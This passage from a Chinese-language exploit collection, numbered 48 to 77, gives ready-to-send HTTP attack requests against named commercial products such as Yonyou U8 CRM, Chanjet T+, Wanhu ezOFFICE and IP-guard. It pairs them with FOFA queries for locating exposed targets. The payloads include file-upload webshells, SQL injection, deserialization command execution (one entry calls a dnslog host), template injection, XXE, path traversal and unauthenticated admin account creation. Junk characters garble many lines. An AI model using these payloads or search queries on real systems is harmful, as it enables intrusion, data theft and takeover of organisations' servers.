User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
$ z5 F+ F; p* LAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
: x* n% {9 _8 I9 `Connection: close
8 e( Q- h+ z& J9 c

* o2 f/ `& j9 u7 H5 ?0 M
  l1 f9 ?- ?2 B: w6 T" h  C48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
: L7 S# }. s: i% oPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 q+ t. r/ U4 ?* M* A  f' h+ fAccept-Encoding: gzip, deflate
( |' u6 y  M$ VContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
1 R, z& T. D& G# a0 |/ {1 X* j/ q------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
; l: Y& `; l; n# ~+ O& k- t------269520967239406871642430066855
9 Q- S/ ~; h. G: n; QContent-Disposition: form-data; name="upload"
/ L5 T- [3 m2 z& x' C3 Qupload
( M7 }" i( w: u* s: d------269520967239406871642430066855--

! q$ m% A* s9 w& n: q! K
6 [& t5 ]% m" m49. 用友U8 CRM系统uploadfile.php接口任意文件上传
4 _, F3 `' o! P7 x1 z9 IFOFA：body="用友U8CRM"
/ ?$ y/ G3 f0 v/ @3 n9 ~2 i3 i
# I. L) d$ [& F8 g& m: CPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' ^5 ?& @8 w6 b1 E- mContent-Length: 329
8 C. ?! R5 j* y9 Q6 ]2 M% NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ?: p. m/ i4 J/ h% F. v4 S" nAccept-Encoding: gzip, deflate
) C4 p! f0 K. o# [% |' W" M5 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, r6 I+ ]  F/ ^2 F* OConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
8 _/ }, q% g$ W1 K2 M; r# y
-----------------------------vvv3wdayqv3yppdxvn3w
8 \# R8 Q. I7 q; B/ Y4 [3 }/ UContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

) i- w- l9 E* k( |8 g3 Iwersqqmlumloqa
& I2 d  S" w. I* l/ \-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

: A. }" p! B$ \: \1 m0 `. Rupload
+ D! H5 \8 _& A: |  e-----------------------------vvv3wdayqv3yppdxvn3w--
  A/ V( i" ^# C
. ?# i, j: T3 }- S4 X; U
; F0 z) o$ a0 W& x6 d. zhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
9 K# B& |1 u* Y1 J0 A. h
+ ], m) z; _& W50. QDocs Smart School 6.4.1 filterRecords SQL注入
* m( X; P& m3 A6 CFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* D( ?$ l) W9 Q9 h) t( }9 [+ X7 nConnection: close
Content-Length: 224
Accept: */*
, {# _! d; M& b* lAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

  Z) I, s* V2 c, z6 P  J7 V3 r
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
3 O0 G; @9 g% A* A3 l5 f8 eFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% o  W1 \' V4 e+ Y- kHost: your-ip
# @- a1 W6 l# w, d! KUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
) O6 ?( @$ L/ VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

( o( z2 R8 w+ T9 H
" w! D( _# h: |+ x. z& \52. 泛微E-Office json_common.php sql注入
! H# K0 `1 E/ E0 E1 T" ^" Q, {0 wFOFA：app="泛微-EOffice"
% R0 l* D8 o% O! k$ B, d6 w% o9 XPOST /building/json_common.php HTTP/1.1
/ C6 g, g6 V- S9 L* EHost: 192.168.86.128:8097
/ {$ W. _) l! GUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 p% g  |! a* B) e+ }; fConnection: close
Content-Length: 87
. Z. S6 l! Q- |% N4 Z7 ]1 bAccept: */*
& |4 v* U2 u4 A5 g& M6 K( E$ _Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 q7 a1 F3 K5 Z7 d+ w2 [
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
2 J# s9 p3 W9 |8 W! q4 f

  B) Y  x: f+ Y; _53. 迪普 DPTech VPN Service 任意文件上传
/ i1 z1 M5 T) R! P. R9 u5 |FOFA：app="DPtech-SSLVPN"
  w4 Z( d0 E( i- `/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

( F2 z' l7 e5 j7 s7 R
0 [* c2 S* A( ?' G) _6 _* ]/ d5 j完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
+ M2 x) ]* q; `3 ?  X# E' h
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  F3 G; A$ c' T/ C% e "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
* o, C8 q) S' p' u2 _' m    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
+ \: b$ s3 g; |+ A) X- q/ w0 I  }
  }
( L! ^# N5 D& \- d2 i. O}
( e# e+ M8 r* C/ ]2 g' p
& _. S2 N- ]8 i  E
第二步，访问如下url
' A( N# Z2 W! \" B' U/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

& Y, O/ {4 k) j+ F# j$ Y
4 o4 M3 [2 c4 a; y5 m" w55. 畅捷通T+ getdecallusers信息泄露
/ C5 F, v$ a: bFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
. L- @1 ?' x/ Q, {8 Q! ]
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
, w* o" T* `/ L4 K9 `4 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

+ D8 _# H1 ?; K8 C$ N4 ~; s{
! b: n  q: w1 c  "storeID":{
0 N8 ~; \3 |# d    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
/ `+ G. j. W) i; |$ ?   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
, B! [3 k* ?1 E           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 e% \/ M4 w: g: k           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
3 a0 o; e% L& e+ K) m1 [    }
  }
; \+ H' |& f. z1 J5 w}

& o, g) L& n, g( J! s. [5 E
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; D# f  u0 u# z: c" ^( ]Accept-Encoding: gzip, deflate
Connection: close
: |  U% \* m, ?; U0 E4 ?( Y/ p

$ ~9 v7 c' R- k+ o58. 畅捷通T+ KeyInfoList.aspx sql注入
0 y% x* k) [! N! Y# l( ZFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
3 g* ~; L& y8 Y2 x* k3 I, H8 cHost: your-ip
& N# d& J) E9 O/ W% ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' o( v: _( L! R) @* S; P- kAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
! I# \  f' _) W9 P( l& IConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
7 u0 G$ C$ W% `3 l% k, M. nPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
0 u; N1 x. z2 {; H5 HHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% Y. _& S/ d+ D! M" E  bConnection: close
' U" D7 u% n. U# pContent-Length: 1669
Accept: */*
5 [3 q( y  ?% M2 n7 N' X6 o4 FAccept-Language: en
Content-Type: application/x-www-form-urlencoded
; S: N! Q$ a$ ~7 uAccept-Encoding: gzip
- N# T6 ]6 H8 t) s6 R( e
PAYLOAD
# @% F5 r5 }9 q
$ N8 c: u0 x+ G3 C) S/ B# j4 q3 \
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
- k5 D; ]# \7 e# S, ?' iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 S: a8 f- |) P" nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: `2 P( C; _$ u8 NConnection: close


6 R/ ~  U' v' s- J% X+ K5 Y61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
( H+ L/ o- q: x% N9 j* D; P3 APOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
6 r" H% h: j6 v- XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% b: q; C3 g6 {  f; JConnection: close
Content-Length: 27
8 @0 k$ e3 Z3 W" Y; ]5 vAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
0 [1 L) \: s5 EContent-Type: application/x-www-form-urlencoded
! j' u' _0 z( ~' X9 H% P$ Q
8uxssX66eqrqtKObcVa0kid98xa

/ G& G  W  _+ e' C& {- u
62. IP-guard WebServer 远程命令执行
0 _# v  P8 o8 s( H4 t; a( \0 }4 gFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
( O5 l6 F# ?0 c9 G  b1 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
. r: }1 A2 E1 p5 m/ s: j8 A6 nConnection: close
Accept: */*
Accept-Language: en
. Y. g7 J7 _' h' b5 d# r5 fAccept-Encoding: gzip

1 O5 C0 A6 Q7 n7 D
访问
( E& o3 y5 H3 t  k
2 }; x% P8 `" s/ K' C: \GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
8 }$ W! K/ l) [2 Z0 e; F. x

, E$ z! @0 C  P& m1 j, ^! K' O! p63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
& Q( `8 ], L6 q; }POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 f  Y6 R, F+ o# c) l: @. E: lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 ~% k" ~* `+ ^& ?: T! d4 x+ j; SAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
8 c% _1 V$ R7 G. J% T+ }3 a
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
+ I6 q" b. A" s: v/ P3 o! D: g
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
! [7 |6 p1 b* D) X1 a( _Host: 192.168.86.128:9001
8 ?" k1 v; n9 N) t4 T8 ?7 xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
" e* T8 ]6 k, {9 L+ GConnection: close
8 J4 D. N4 w  H0 T; eContent-Length: 369
" [6 ]9 g, _8 A7 [Accept: */*
$ B* @/ Y4 Z1 q- d' z& c/ F2 b+ c" }Accept-Language: en
Content-Type: text/xml; charset=utf-8
" Q; G) J4 j' o, h, U( \& [Accept-Encoding: gzip
' ^$ k' K4 O! ~; O% c9 W
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
6 L) j( B6 ?" p0 h* d" A& C# C    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
2 |% t, @: q" N0 h- g' i" |' C  </soap:Body>
6 v0 g! w8 s1 P5 H</soap:Envelope>
) X, P, t) u7 L3 |. P7 K

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
2 O! S+ ]! l8 M6 GFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
- d2 Y% ]- s$ v5 {% G" }响应200即成功创建账号test123456/123456
$ ~7 J, b5 s  ^$ {/ fPOST /SystemMng.ashx HTTP/1.1
' i+ C; y- O, e/ u  T. u1 zHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
" V1 W, m$ `. n$ T6 _" qAccept-Encoding: gzip, deflate
2 T" R7 K2 U; j% _7 O: xAccept: */*
0 i/ C! A5 u" `* a: q1 |; U3 W, vConnection: close
5 e- I5 W, ^, z/ |. |8 iAccept-Language: en
- @7 P) N7 }1 V% I  LContent-Length: 174
/ R. u: b$ r' q+ K1 S
) e. s! r# f9 e" soperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

" e0 Z' P$ v: _
9 k7 F; w7 U( |6 |66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
6 S+ G- T# c, {: r! C% yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
2 q( t+ Y/ l3 \Connection: close
9 n4 t; f9 N2 o2 ^Accept: */*
" H& \; P7 J" r- M- F4 I% q( t0 V2 \Accept-Language: en
0 v: h7 H. R) `% AAccept-Encoding: gzip

! }: h" s7 a4 y7 ]" Y2 [
+ _' s, S4 A" r+ Q) L5 Z1 W/ X2 g第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
* ?' E' |9 W, {( G5 ]5 HFOFA：app="万户网络-ezOFFICE"
: z9 {6 D9 l" i, QnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
# A5 A$ W/ e  ~POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
, w( s$ G( Z/ jHost: x.x.x.x
) b( |1 q6 a$ \( u' CUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
. }5 p) F: \/ p7 G& [. m: ~" vContent-Length: 173
% D- o0 y/ ], r; z! j2 n( TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 L9 Q6 H3 c  P4 S2 _Accept-Encoding: gzip, deflate
0 Z! J; _0 [! I. KAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
0 p! M9 H: D% v8 nDNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
; O" w2 {$ B% W$ p" KContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

; T6 b0 P. }" h; g) y' J- T- j2 S<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
0 F( y! f  K; X8 ]" U: ^$ g6 k2 C+ b, _
) w" k" ]; }; N" U0 N/ U5 H* t) T3 J& \
, E. b$ M- r/ @, k/ v- N( {# D文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

# h+ ?2 {. M5 C0 N( B- f68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
- d. i* d$ K% ]! R( v( `" \GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
4 }# L8 s8 v- k, ]$ gAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
: ?$ s( S" z" ^& S3 fAccept-Language: zh-CN,zh;q=0.9
: O; r+ c/ n  q+ ^; iConnection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
. ?$ ~# p, L  `# Q2 FGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
+ F4 s5 n- x. OUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% H% ~+ T. u) J8 O  B- LConnection: keep-alive
' k* h9 _/ {2 A1 B9 s

70. 万户ezEIP success 命令执行
! d- L& t7 f; [. O: J7 r+ SFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
) k2 T1 M! L/ W" i2 ~Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
8 V! r* f7 h, T) y. i# _9 QSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
$ n/ F9 |4 ?; L! MContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
/ [8 d2 }/ P. Q4 o
__VIEWSTATE=PAYLOAD


# L0 X2 f7 f2 U71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
6 w8 R; g" ]* _$ i# `& NGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
4 J! ~9 J) S; qConnection: close
8 a- o4 J. w5 o9 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% [+ s* i, o9 e8 v, AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

$ |" W! f& d* Q" N2 k' v6 h
72. 致远OA getAjaxDataServlet XXE
! g0 K% E) q: p2 L8 }# rFOFA：app="致远互联-OA"
0 G) l' [2 D' Y+ cPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
1 _, J- _1 o. Q8 }1 d: GHost: 192.168.40.131:8099
& S: D8 _. F/ @/ ZUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
( \" t0 N5 _. P/ d4 g" P* oConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! M0 U: z  N& N) P7 ?# D
$ X  l! Q8 L4 i+ c+ e6 s5 p( k* }1 US=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
' h6 X" c; T& B) g6 T) G

5 r6 g8 J$ }+ ~# `, s+ s7 b73. GeoServer wms远程代码执行
4 t5 O1 h% ^/ p1 e+ b! Z7 w% z! VFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
4 I8 Z+ _; H6 V# s0 c8 Z" nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: m/ S! O0 i; p7 g+ oContent-Length: 1981
  f) E' |) e) f* r) BAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD

! |0 C/ @/ @0 @3 D: f/ R! w" D
1 k2 M, K1 F3 E) k. H, `) c74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
" c5 J. D% B+ o# K+ N' J
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
" x3 }" g9 p4 m! }FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 ^- g$ f$ d8 F/ Q1 @Connection: close
8 R5 p9 i/ I4 DAccept: */*
Accept-Language: en
Accept-Encoding: gzip

9 k+ |) U" v, I+ H1 Z1 n
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
/ G! Q: r4 a! Z3 V5 H
4 X0 m  h2 E+ ]5 Z9 R, r* u# E
( p: o' W: ]- x; l$ g7 L+ n76. 新开普掌上校园服务管理平台service.action远程命令执行
# Q# V; N9 C, V( k6 G( H4 ?FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
* ^1 Q# }! L. J( }Host: x.x.x.x
$ n5 ]& p9 x1 j! _/ [6 C! @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
. e* H1 f6 y1 k: x+ `Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
2 Y. m9 |1 Q  L  `0 k  ^Upgrade-Insecure-Requests: 1
4 C8 Z3 w* L% S0 c
{
" I7 B' _8 j. [8 K% q"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
# D1 _4 d8 I8 ?3 C  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
0 g+ z: a0 I! C6 Z( e
/ A8 G1 _" O& T5 |4 t* [
2 l2 g% U8 B7 M' _# Z# q/ `GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

. ~2 @* z! ^# C7 a! M

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
2 a: i# w7 }) D3 E9 s6 ]1 vFOFA：body="F22WEB登陆"
